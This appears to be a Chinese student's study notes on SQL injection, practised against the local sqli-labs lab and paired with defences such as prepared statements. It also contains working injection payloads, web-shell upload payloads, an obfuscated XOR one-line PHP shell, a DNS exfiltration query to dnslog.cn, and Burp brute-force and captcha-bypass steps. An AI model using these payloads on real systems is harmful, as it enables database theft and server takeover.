本文主要是介绍3.2网安学习第三阶段第二周回顾(个人学习记录使用),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
本周重点
①SQL语句的基本用法
②SQL注入的基本概念和原理
③SQL注入类型(**重点)
④SQL注入的防御和绕过手段
本周主要内容–SQL
一、SQL语句的基本用法
limit用法:显示查询结果中从第n条开始显示m条记录
select * from tb_user limit 1,2
union用法:合并两个结果集,列数必须相同才能合并
select * from tb_user where id=1 union select * from tb_user where id=1;
order by用法:根据列来把结果集排序
select * from tb_user where order by 1 asc; -- 根据第一列升序排
select * from tb_user order by username desc ;-- 根据username降序排
database()函数:数据库名称
version()函数:数据库版本
user():当前登录用户
select database(),user(),version()
group_concat()函数:把多个结果行合并到一个字段里
select group_concat(username) from tb_user;
concat_ws()函数:把多个列的值合并在一起,并且用指定的分隔符分开
select concat_ws (',',username,passwd,avatar) from tb_user where id =1;
concat()函数:拼接多个字符串
select concat('a','b','c')
sql语句如何注释:(/**/,–,#)
select/*被注释内容*/CONCAT_WS(',',username,passwd,role) from tb_user where id=1;
select CONCAT_WS(',',username,passwd,role) from tb_user -- where id=1;
select CONCAT_WS(',',username,passwd,role) from tb_user # where id=1;
information_schema数据库:保存了mysql数据库中的所有信息(元数据)
select table_name from information_schema.tables where table_schema=database(); select * from information_schema.COLUMNS where table_schema=database() and table_name='tb_user';
二、SQL注入的概念
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息甚至获取系统的shell权限。
三、注入原理
最核心的就是用户的输入参与到了SQL语句的执行过程,并且经过精心构造一个输入,可以改写原来的sql语句的执行。导致漏洞产生。
四、SQL注入危害
1、拖库(数据被盗取)
2、getshell:获取系统权限
五、SQL注入类型(利用sqlilabs靶场)
1.数字型注入:
-
主要使用场景: 用于数字型参数的注入,如 ID、数字型的查询条件等。
-
主要应用函数:
UNION SELECT
,ORDER BY
, GROUP_CONCAT 等。 -
**实战应用:**sqlilabs靶场1-4关
http://127.0.0.1/sqlilabs/Less-1/?id=1' union SELECT 1, DATABASE(), VERSION() limit 1,1 -- -
2.字符型注入:
-
主要使用场景: 用于字符型参数的注入,如用户名、密码等。配合报错注入。![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/88c51cd2a2e54b72a2de295e6b30aa63.png#pic_center
-
主要应用函数:
'OR '1'='1
, extractvalue(1,concat(0x7e,database(),0x7e)), updatexml(1,concat(0x7e,database(),0x7e),1)等。 -
**实战应用:**sqlilabs靶场第11-14关
uname=1' or 1=1 or extractvalue(1,concat(0x7e,database(),0x7e))#&passwd=123
3.布尔型盲注:
-
主要使用场景: 当系统没有明显错误回显,但存在布尔类型的逻辑判断时,常用于盲注攻击。
-
主要应用函数: substr(database(),2,1)=‘e’,length(database())=8 等。
-
**实战应用:**sqlilabs靶场第8关
http://127.0.0.1/sqlilabs/Less-8/?id=-1' or substr(database(),2,1)='e' -- -
4.时间盲注:
-
主要使用场景: 在布尔型盲注无法使用时,利用时间函数进行延时判断,判断条件的真假。
-
主要应用函数:
SLEEP()
,if()
等。 -
**实战应用:**sqlilabs靶场第9-10关 15-16关
http://127.0.0.1/sqlilabs/Less-9/?id=1' and if(length(database())=8,sleep(5),1) -- -
5.更新注入:
- 主要使用场景: 利用 UPDATE 或 INSERT 语句时的漏洞进行注入。
- 主要应用函数:
UPDATE
,INSERT
,DELETE
等。 - **实战应用:**登录页面的url后面带着参数,代表跳转的渠道,当登录页面显示出来的时候,就把参数和值,添加到数据库的表中。
<?php
include 'dbinfo.php';
$source = $_GET['source'];
$sql = "insert into test (content) values ('$source')";
$result = mysqli_query($conn,$sql);
mysqli_close($conn);
?>
source=baidu' or extractvalue(1,concat(1,database())) or '
6.堆叠注入:
-
主要使用场景: 利用多条 SQL 语句执行时的漏洞进行注入。
-
主要应用函数: mysqli_multi_query( c o n n , conn, conn,sql)等。
-
**实战应用:**sqlilabs靶场第38-45关
http://127.0.0.1/sqlilabs//less-38/?id=1';insert into users(id,username,password)values(20,'yao','123')--+
!
login_user=admin&login_password=1';update users set password='222' where id>19 -- +
7.二次注入:
-
主要使用场景: 利用一次注入的结果作为二次注入的输入。注册有addslashes函数, 更新密码时没有。
-
**主要应用函数:**addslashes函数。
-
**实战应用:**sqlilabs靶场第24关
注册用户名:admin' or 1=1 //可以做到密码全改 update test set passwd='admin' or 1=1# //实际执行了这种语句
8.宽字节注入:
- 主要使用场景: 在使用双字节字符集的系统中,利用宽字节进行编码的注入。使用了addslashes防御。
- 主要应用函数: GBK编码, addslashes函数。(url 转义符 \ =%5c) (%df%5C > GBK编译成汉字)
- **实战应用:**sqlilabs靶场第32-37关
http://127.0.0.1/sqlilabs//less-32/?id=-1%df' union select 1,version(),database() --+
uname=-1ß' union select version(),database()#&passwd=123
9.解码注入/过滤:
-
主要使用场景: 当目标系统对输入进行了编码或过滤时,尝试绕过这些防护进行注入。
-
主要应用函数: 依赖于具体的过滤和解码方式。
-
**实战应用:**sqlilabs靶场第25-28关,包括25a-28a关卡 23关卡过滤注释符
or > oorr(双写) = ||(符号) and> anandd =&& %23># // %26>& // %7c>| // %27>' // %25>% // %2527 > %27 > '// 0x7e > ~// %20 > 空格 实战空格可以用%0a、%0b、%0c、%0d、%09、%a0 防连写union%0aall%0aselect 双写uniunionon//SElselectect
http://127.0.0.1/sqlilabs/Less-28/?id=')union%0aall%0aselect%0a1,database(),3%0aor ('1
10.HTTP头注入:
- 主要使用场景: 利用 Web 应用程序接收的 HTTP 头部信息进行注入攻击。
- 主要应用工具: 使用Burpsuite软件。
- **实战应用:**sqlilabs靶场第18-22关
//HTTP协议请求头
Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
X-Forwarded-For:简称XFF头,它代表客户端,用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中。
Cookie,有时也用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。
X-Real-IP一般只记录真实发出请求的客户端IP。
Accept Language请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言。
User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
Accept代表客户端希望接受的数据类型,数据类型中的先后次序表示客户端接受的先后次序。
burp>referer>1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and 1='1
11.DNS外带:
-
主要使用场景: 将恶意数据通过 DNS 请求传输到恶意服务器,然后由恶意服务器处理这些数据。
-
主要应用工具: 这个注入需要在windows服务器来做;确保mysql的参数secure_file_priv=没有赋任何值;
-
**实战应用:**http://dnslog.cn/申请临时域名
打开浏览器,访问刚刚申请的临时域名
回到刚才的dnslog的主页,点击Refresh Record会看到域名解析的log信息
打开navicat,执行这个sql
select LOAD_FILE(concat('//',database(),'.9rtckr.dnslog.cn/1.txt'))
然后回到dnslog主页,点击Refresh Recode刷新解析日志
原理:当访问这种文件路径的时候: //xyz.9rtckr.dnslog.cn/1.txt
windows服务器会当做网络请求,发给DNS服务器解析。然后我们从DNS解析日志中看到数据库名
这个有一定的限制,域名不能太长,也不能有什么特殊符号
12.代码注入:
-
主要使用场景: 在 Web 应用程序中注入恶意代码,通常是 PHP 代码,以执行攻击者的命令。(一句话木马)
-
主要应用函数:
eval()
, assert(), system()等。可以用蚁剑,中国菜刀等工具注入 -
**实战应用:**sqlilabs靶场第7关
//写入木马 http://127.0.0.1/sqlilabs/Less-7/?id=7')) union select 1,2,'<?php eval($_REQUEST[c]);?>' into outfile 'D://xampp5/htdocs/sqlilabs/Less-7/shell.php' --+ //第二步执行 http://127.0.0.1/sqlilabs/Less-7/shell.php?c=phpinfo(); //也可以执行服务器命令 /shell.php?c=system(命令);
13.命令注入:
- 主要使用场景: 将恶意命令注入到系统中,以执行攻击者的命令。
- 主要应用函数:
system()
,exec()
, `passthru() 等。
1)
system()//这个命令本身就有输出结果
//system($_POST['a']);2)
exec()//这个命令本身不输出结果,如果需要查看结果,使用echo exec()
//echo exec($_POST['a']);
<?
$last = exec($_GET['a'],$output,$res);
print_r($output);
?>
请求参数:
http://192.168.92.128/hz02/posts/test1.php?a=ls3)
passthru()
passthrou("ls")//直接把当前目录中的内容输出给浏览器
六:防御手段
1.把特殊字符转义
1、使用addslashes函数转义 单引号、双引号、反斜线,NUL
$username="zhang'san"
$username = addslashes($username);
echo $username;//输出:zhang\'san
2、使用mysqli_real_escape_string
$conn = mysqli_connect("127.0.0.1","root","1234","posts",3306);
$username = $_GET['u'];
echo $username;
echo "<br>";
$username = mysqli_real_escape_string($conn,$username);
输入的username="zhang'san",经过转换后,变成"zhang\'san"
2.数字类型,强行转换成整数
$id = $_GET['id'];
//3 and 1=0 -- -
$id = (int)$id;//强转为数字类型
//强转int后只有3,也就是说强制类型转换后,只留下前面数字的部分,后面的字符串都被丢弃
-===============================
后端程序片段:
<?php
//连接数据库
$conn = mysqli_connect("127.0.0.1","root","1234","posts",3306);
$id = $_GET['id'];******
//3 and 1=0 -- -
$id = (int)$id;//强转为数字类型
//强转int后只有3,也就是说强制类型转换后,只留下前面数字的部分,后面的字符串都被丢弃
******echo $id;
echo "<br>";
//如果查询结果出现乱码,需要设置一下编码格式
mysqli_set_charset($conn,"utf8");$sql = "select * from tb_user where id=$id";
echo $sql;
echo "<br>";
$result = mysqli_query($conn,$sql);
echo "<table border=1>";
echo "<tr><td>ID</td><td>用户名</td><td>密码</td></tr>";
//从查询结果中获取一行数据
while($row = mysqli_fetch_assoc($result)){ echo "<tr><td>".$row["id"]."</td><td>".$row['username']."</td><td>".$row['passwd']."</td></tr>";// echo $row["id"]."---".$row['username']."---".$row['passwd'];// echo "<br>";
}
echo "</table>";
//关闭数据库连接
mysqli_close($conn);
?>
3.限制用户输入的字符串的长度
$username = $_GET['username'];
$passwd = $_GET['passwd'];
//限制用户输入的字符串长度最长12,只是把前面的12个字符留下
$username=substr($username,0,12);
===========================================
//后端程序代码片段
<?php
//连接数据库
$conn = mysqli_connect("127.0.0.1","root","1234","posts",3306);
$username = $_GET['username'];
$passwd = $_GET['passwd'];******
//限制用户输入的字符串长度最长12
$username=substr($username,0,12);
******echo "$username";
echo "<br>";
//如果查询结果出现乱码,需要设置一下编码格式
mysqli_set_charset($conn,"utf8");$sql = "select id,username,passwd from tb_user where username='$username' and passwd='$passwd'";
echo $sql;
echo "<br>";
$result = mysqli_query($conn,$sql);
echo "<table border=1>";
echo "<tr><td>ID</td><td>用户名</td><td>密码</td></tr>";
//从查询结果中获取一行数据
while($row = mysqli_fetch_assoc($result)){ echo "<tr><td>".$row["id"]."</td><td>".$row['username']."</td><td>".$row['passwd']."</td></tr>";// echo $row["id"]."---".$row['username']."---".$row['passwd'];// echo "<br>";
}
echo "</table>";
//关闭数据库连接
mysqli_close($conn);
?>
4.把关键字符串替换掉
服务端程序:
<?php
//连接数据库
$conn = mysqli_connect("127.0.0.1","root","1234","posts",3306);
$username = $_GET['username'];
$passwd = $_GET['passwd'];******
//把语句中的特殊字符串替换掉(这个替换是有缺陷的,可以用大小写方式被饶过)
//select,union,order,tables,columns,database,limit
$username = str_replace("select","",$username);
$username = str_replace("union","",$username);
$username = str_replace("order","",$username);
$username = str_replace("tables","",$username);
$username = str_replace("columns","",$username);
$username = str_replace("database","",$username);
$username = str_replace("limit","",$username);
******echo "$username";
echo "<br>";
//如果查询结果出现乱码,需要设置一下编码格式
mysqli_set_charset($conn,"utf8");
$sql = "select id,username,passwd from tb_user where username='$username' and passwd='$passwd'";
echo $sql;
echo "<br>";
$result = mysqli_query($conn,$sql);
echo "<table border=1>";
echo "<tr><td>ID</td><td>用户名</td><td>密码</td></tr>";
//从查询结果中获取一行数据
while($row = mysqli_fetch_assoc($result)){ echo "<tr><td>".$row["id"]."</td><td>".$row['username']."</td><td>".$row['passwd']."</td></tr>";// echo $row["id"]."---".$row['username']."---".$row['passwd'];// echo "<br>";
}
echo "</table>";
//关闭数据库连接
mysqli_close($conn);
?>
====================================================================
上面这种可以用大小写方式绕过:
请求url写成如下形式:Union Select Database(),改成有大写字母的形式
localhost/hz02/posts/test.php?username=zhangsan' Union Select Database(),1,2 -- - &passwd=222
要想避免大小写绕过,需要在替换的时候使用忽略大小写的替换函数
$username = str_ireplace("select","-",$username);
$username = str_ireplace("union","",$username);
$username = str_ireplace("order","",$username);
$username = str_ireplace("tables","",$username);
$username = str_ireplace("columns","",$username);
$username = str_ireplace("database","",$username);
$username = str_ireplace("limit","",$username);
================================================================
上面这种忽略大小写替换的方式,还是不够完善,可以采用双写绕过
提交的url如下:
localhost/hz02/posts/test.php?username=zhangsan' uniunionon selselectect datdatabaseabase(),1,2 -- - &passwd=222
要想防止双写绕过
$username = str_ireplace("select","-",$username);
$username = str_ireplace("union","-",$username);
$username = str_ireplace("order","-",$username);
$username = str_ireplace("tables","-",$username);
$username = str_ireplace("columns","-",$username);
$username = str_ireplace("database","-",$username);
$username = str_ireplace("limit","-",$username);
5.终极防御方案:使用sql预编译的写法 (基本无解无法注入)
<?php
//连接数据库
$conn = mysqli_connect("127.0.0.1","root","1234","posts",3306);$username = $_GET['username'];
$passwd = $_GET['passwd'];
echo "$username";
echo "<br>";
//如果查询结果出现乱码,需要设置一下编码格式
mysqli_set_charset($conn,"utf8");******
$sql = "select id,username,passwd from tb_user where username=? and passwd=?";
//打印语句可以发现还是问号
echo $sql;
echo "<br>";
//预编译sql语句
$pstmt = mysqli_prepare($conn,$sql);
//绑定入参
//第一个参数是数据库的statement类型,
//第二个参数是sql语句中?代表的类型s-字符串,i-数字类型
//第三个参数就是要传入sql语句中替换?的真正的值,是一个参数列表,按照sql中?的顺序写
mysqli_stmt_bind_param($pstmt,"ss",$username,$passwd);
//执行sql,获取flag,true或者false
$flag = mysqli_stmt_execute($pstmt);
//判断布尔值
if($flag){//获取记录$result = mysqli_stmt_get_result($pstmt);
}
******echo "<table border=1>";
echo "<tr><td>ID</td><td>用户名</td><td>密码</td></tr>";
//从查询结果中获取一行数据
while($row = mysqli_fetch_assoc($result)){ echo "<tr><td>".$row["id"]."</td><td>".$row['username']."</td><td>".$row['passwd']."</td></tr>";// echo $row["id"]."---".$row['username']."---".$row['passwd'];// echo "<br>";
}
echo "</table>";
//关闭数据库连接
mysqli_close($conn);
?>
七:绕过手段
1.十六进制绕过:
把tb_user转成16进制:74625F75736572
select hex('tb_user')
使用的时候需要在前面加上0x所以sql语句就是
select group_concat(column_name) from information_schema.columns where
table_schema=database() and table_name=0x74625F75736572;服务端程序片段:
<?php
//连接数据库
$conn = mysqli_connect("127.0.0.1","root","1234","posts",3306);$tablename = $_GET['u'];echo $tablename ;
echo "<br>";$tablename = addslashes($tablename );
echo $tablename ;
echo "<br>";//如果查询结果出现乱码,需要设置一下编码格式
mysqli_set_charset($conn,"utf8");$sql = "select 1 as id,group_concat(column_name) as username,'2' as passwd from information_schema.columns where table_schema=database() and table_name=($tablename)";echo $sql;
echo "<br>";$result = mysqli_query($conn,$sql);echo "<table border=1>";
echo "<tr><td>ID</td><td>用户名</td><td>密码</td></tr>";
//从查询结果中获取一行数据
while($row = mysqli_fetch_assoc($result)){ echo "<tr><td>".$row["id"]."</td><td>".$row['username']."</td><td>".$row['passwd']."</td></tr>";// echo $row["id"]."---".$row['username']."---".$row['passwd'];// echo "<br>";
}
echo "</table>";
//关闭数据库连接
mysqli_close($conn);
?>
2.编码绕过:
如果针对一些php的敏感字过滤,例如:php、eval,assert等,导致无法写入一句话木马,那么可以考虑把原始的木马代码进行编码绕过
原始payload:
u=a' union SElect 1,2,3,4,5,6,7,8,'<?php eval($_POST[a]);?>' into outfile '/opt/lampp/htdocs/mm/m1.php' -- -使用 select hex('<?php eval($_POST[a]);?>')编码后的payload
u=a' union SElect 1,2,3,4,5,6,7,8,0x3C3F706870206576616C28245F504F53545B615D293B3F3E into outfile '/opt/lampp/htdocs/hz02/posts/upload/m1.php';
3.注释绕过
有的情况下程序员会把输入的字符串中的空格给替换掉,这种情况可以用注释来绕过
注入url:中间的%23是#,因为#在url中是有特殊含义的。所以,要编码成%23才能传给后端程序使用
localhost/hz02/posts/test.php?u=zhangsan'/*a*/or/*a*/1=1/*a*/%23&p=222最后在服务端拼接的sql语句是:/**/放在sql语句中间是不会影响sql语句执行的
select * from tb_user where username='zhangsan'/*a*/or/*a*/1=1/*a*/#' and passwd='222' ;
=================================================
服务端程序
<?php
$u=$_GET['u'];
$p=$_GET['p'];echo $u;
echo "<br>";
$u = str_replace(" ","",$u);
$sql = "select * from tb_user where username='$u' and passwd='$p'";
echo $sql;
?>
4.木马变形
//一句话木马、小马
<?php
@$_++;
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
${$__}[!$_](${$___}[$_]);
?>
_GET
0000 1010
0100 1011
------------按位与运算-(两个都是1结果是1,否则是0)---
0000 1010
===============================
0000 1010
0100 1011
------------按位或运算-(只要有一个是1,结果就是1)---
0100 1011
===============================
0000 1010
0100 1011
------------按位异或运算-(相同为0,不同为1)---
0100 0001解析:
(":"^"}") 这是个二进制异或, ":"ascii码值=>58=>进制:00111010
"}"ascii码值:125 =》二进制:01111101
两个二进制异或 = 00111010 ^ 01111101 = 01000111
01000111二进制代表的十进制是71, 71代表的ascii是大写字母G
最终解析出来:$_GET[0]($_POST[1]);
一句话木马:
https://baijiahao.baidu.com/s?id=1695910053618223684&wfr=spider&for=pc
大马:
https://blog.csdn.net/qq_53079406/article/details/125084768
附件1:安装sqlilabs靶场
把靶场的压缩文件放在htdocs目录下,解压缩后,把目录名称修改为sqlilabs
目录中文件应该类似
进入到sqlilabs\sql-connections目录中,看到db-creds.inc
打开db-creds.inc文件,改好之后,保存
访问http://localhost/sqlilabs/
看到下面的页面
初始化数据库
附件2:安装蚁剑
点击初始化按钮
初始化成功后重新打开蚁剑,会看到如下样子,多了几个菜单
确保一句话木马先上传到网站,然后
输入完毕后,点击添加按钮
数据被添加成功
连接数据库
附件3:Burpsuite暴力破解
一、burp功能介绍
Burp Suite是一个集成化的渗透测试工具,它集合了多种渗透测试组件,使我们自动化地或手工地能更好的完成对
web应用的渗透测试和攻击
二、burp暴力破解登录密码
登录请求
拦截请求,并发到Intruder
三、burp插件识别图形验证码
再次访问登录页面,用burp拦截住获取验证码的请求
注册一个百度智能云的账户,搜索“文字识别”,并且选择通用场景OCR,点击:领取免费资源
选择通用文字识别(标准版)
回到上一个页面,去创建一个项目
输入应用名称。
选择通用文字识别(标准版)这个接口。
应用归属:选择个人。
输入应用描述。
点击创建按钮
创建能看到一个新的应用,注意记住AppID,APIKey,Secret Key
获取access token
http://aip.baidubce.com/oauth/2.0/token
使用post方式发请求,参数为
grant_type: 必须参数,固定为client_credentials
client_id: 必须参数,应用的API Key
client_secret: 必须参数,应用的Secret Key
在返回的json数据中,提取到access_token,并保存好
把接口地址替换成:/rest/2.0/ocr/v1/general_basic
并且把access_token也替换成上面从百度获取到的access_token的值
鼠标选中识别结果,并右键,可以看到菜单
选择标记为识别结果,上面的正则表达式会自动匹配这个结果
此时再次点击识别按钮,会看到识别结果会标记在右侧的单独一栏中
四、burp破解密码和图形验证码
接着上面的第三步,
打开登录页面,输入用户名,密码,验证码,点登录按钮,使用burp拦截住登录请求,send to intruder
在Intruder标签中,把password和code标记为变量,Attack type选择Pitchfork
在payload中,为密码设置字典
为图形验证码选择从插件生成,设置完毕,点击右上角的 start attack按钮
可以看到攻击结果中有一条是成功的
这篇关于3.2网安学习第三阶段第二周回顾(个人学习记录使用)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!